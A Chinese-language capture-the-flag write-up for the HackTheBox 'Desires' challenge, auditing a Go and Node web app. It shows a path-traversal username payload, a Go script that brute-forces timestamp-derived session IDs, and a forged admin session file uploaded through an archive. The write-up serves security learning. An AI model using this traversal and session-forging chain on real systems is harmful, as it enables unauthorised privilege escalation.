- 难度 : Easy
- 靶场 : HackTheBox [Desires]
- 类型 : 代码审计
代码审计
这是道 Challenge 题,看了下分类是 Web ,但是感觉有点偏源码审计了。首先拿到源码,发现目录结构是这样的:
.
├── service
│ ├── go.mod
│ ├── go.sum
│ ├── main.go
│ ├── services
│ │ ├── http.go
│ │ └── sessions.go
│ ├── static
│ │ └── styles.css
│ ├── utils
│ │ ├── redis.go
│ │ └── response.go
│ └── views
│ ├── admin.html
│ ├── dashboard.html
│ ├── login.html
│ ├── register.html
│ └── upload.html
└── sso
├── index.js
├── package-lock.json
└── package.json
其中 service 文件夹是 golang 写的 web app ,而 sso 文件夹是 node 实现的登录模块,提供了 HTTP 的登录接口。
功能逻辑
首先梳理一下大致的逻辑,用户注册之后可以登录网站,使用上传功能,上传压缩文件到 /app/service/uploads
,压缩的文件名会使用 UUID 重命名。
之后会对上传的文件进行解压,解压后的文件会放到 /app/service/files/{username}
文件夹下。此处解压后的文件并不会做任何处理,比如重命名文件或者修改后缀。
登录逻辑
登录逻辑实现的比较反常规,所以感觉大概率突破口就在这里了,需要仔细审一下。
首先是注册模块, RegisterHandler
函数中有一处关键代码:
if strings.ContainsAny(credentials.Username, "/.\\") {
return utils.ErrorResponse(c, "Invalid Username", http.StatusBadRequest)
}
这控制了用户名在注册的时候不能使用包含 .
、 \
、 /
这三种字符,也就意味着无法将带有任意路径的用户名写入到数据库中,但是其实此处的限制并没有什么作用。
然后是登录模块,因为这个 LoginHandler
函数比较重要,所以我全贴上来了:
func LoginHandler(c *fiber.Ctx) error {
var credentials Credentials
if err := c.BodyParser(&credentials); err != nil {
return utils.ErrorResponse(c, err.Error(), http.StatusBadRequest)
}
sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
err := PrepareSession(sessionID, credentials.Username)
if err != nil {
return utils.ErrorResponse(c, "Error wrong!", http.StatusInternalServerError)
}
user, err := loginUser(credentials.Username, credentials.Password)
if err != nil {
return utils.ErrorResponse(c, "Invalid username or Password", http.StatusBadRequest)
}
sessId := CreateSession(sessionID, user)
cookie := fiber.Cookie{
Name: "session",
Value: sessId,
Expires: time.Now().Add(3600 * time.Hour),
}
c.Cookie(&cookie)
usernameCookie := fiber.Cookie{
Name: "username",
Value: credentials.Username,
Expires: time.Now().Add(3600 * time.Hour),
}
c.Cookie(&usernameCookie)
return c.Redirect("/user/upload")
}
首先可以看到 session
的生成逻辑是存在问题的,完全通过时间戳生成,是有可能被爆破的,当然,是要有 admin 权限的用户登录的情况下,并且知道用户名,才可能爆破,在这个 challenge 的情况下,应该不会有其他人登录 admin 权限账号,所以暂时没法利用。
而 PrepareSession
这个函数就比较有意思了,它只做了一件事,就是将用户名作为 key ,把生成的 Session 作为 value 写到一个 redis 中。
CreateSession
会将生成的 session 作为文件保存到 /tmp/sessions/{username}
中。Session 文件的格式是 JSON,目标就是把当前用户的 role 变成 admin 。
{"username":"test","id":1,"role":"user"}
最后是一个中间件函数 SessionMiddleware
,在访问任何 /user
路径下都会先调用这个函数:
func SessionMiddleware(c *fiber.Ctx) error {
sessionID := c.Cookies("session")
username := c.Cookies("username")
if sessionID == "" || username == "" {
return c.SendStatus(http.StatusUnauthorized)
}
session, err := GetSession(username)
if err != nil {
return c.SendStatus(http.StatusInternalServerError)
}
c.Locals("user", *session)
return c.Next()
}
大概功能就是通过 Cookies 中的用户名去拿 Session 内容,其实此处的代码也是有问题的,可以拿到任意用户的 Session ,也就是说只要有用户是 admin 权限,并且知道用户名,就可以访问 /user/admin 了,但是对于这道题来说并没有这么一个用户。
func GetSession(username string) (*User, error) {
sessionID, err := utils.RedisClient.Get(username)
if err != nil {
return nil, err
}
sessionJSON, err := os.ReadFile(filepath.Join("/tmp/sessions", username, sessionID))
if err != nil {
return nil, err
}
var session User
err = json.Unmarshal(sessionJSON, &session)
if err != nil {
return nil, err
}
return &session, nil
}
在 GetSession
中,会先从 redis 中查询 cookies 的 username 字段,如果没有这么个用户,就会直接返回,如果查询成功,就会从 /tmp/sessions/{username}
中查到 session 并返回。
漏洞利用
分析上面几处关键代码,可以得到一条利用链,拿到 /user/admin
的 flag 。
首先注册一个用户 test ,此时可以正常使用 upload 功能,但是访问 /user/admin
会提示:
先准备好一个 json 文件,文件内容填写我们构造的 session :
{"username":"test","id":1,"role":"admin"}
然后需要准备一份通过时间戳生成 Session 的代码,这里直接用 golang 生成了,保证和服务端生成的一致,我这里设置的是生成前 10 秒的 Session ,方便之后爆破:
package main
import (
"fmt"
"time"
"crypto/sha256"
"strconv"
)
func main(){
now := time.Now().Unix()
for offset := range 10 {
t := now - int64(offset)
sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(t, 10))))
fmt.Println(sessionID)
}
}
之后再次 POST 请求接口 /login
,此时要将 username 字段设置为 ../../../../../../../app/service/files/test
,目的是为了让这个 username 保存到 redis 中,因为 PrepareSession
这个函数不论是否登录成功都会执行,所以这个值一定会写入到 redis ,并且 value 会是一个 Session ID 。
请求完成之后需要立即执行之前准备的 golang 脚本,生成 Session ID :
然后把刚才准备好的 Session 文件重命名,命名为上面生成的 Session ID ,然后上传,上传完成后服务端会解压,并且在 /app/service/files/test
内保存。
然后就可以请求 /user/admin
了:
由于 redis 中已经有
../../../../../../../app/service/files/test
这个 key ,所以可以通过中间件的第一个判断条件,而第二个查找路径使用的方法是:
os.ReadFile(filepath.Join("/tmp/sessions", username, sessionID))
而 username 实际上是 Cookies 可控的,因此并不会到 /tmp/sessions
中查找,而是到 /app/service/files/test
查找我们刚刚上传的文件。如果查到了,那就直接读取上传的 Session 文件了。
由于不知道服务端生成的 Session ID 是多少,如果失败了,需要重新上传挨个测试,理论上是可以写个脚本自动上传的。
总结
虽然这道题评级是 Easy ,但是感觉还是挺复杂的,如果是黑盒测试大概率是测不出来的。
评论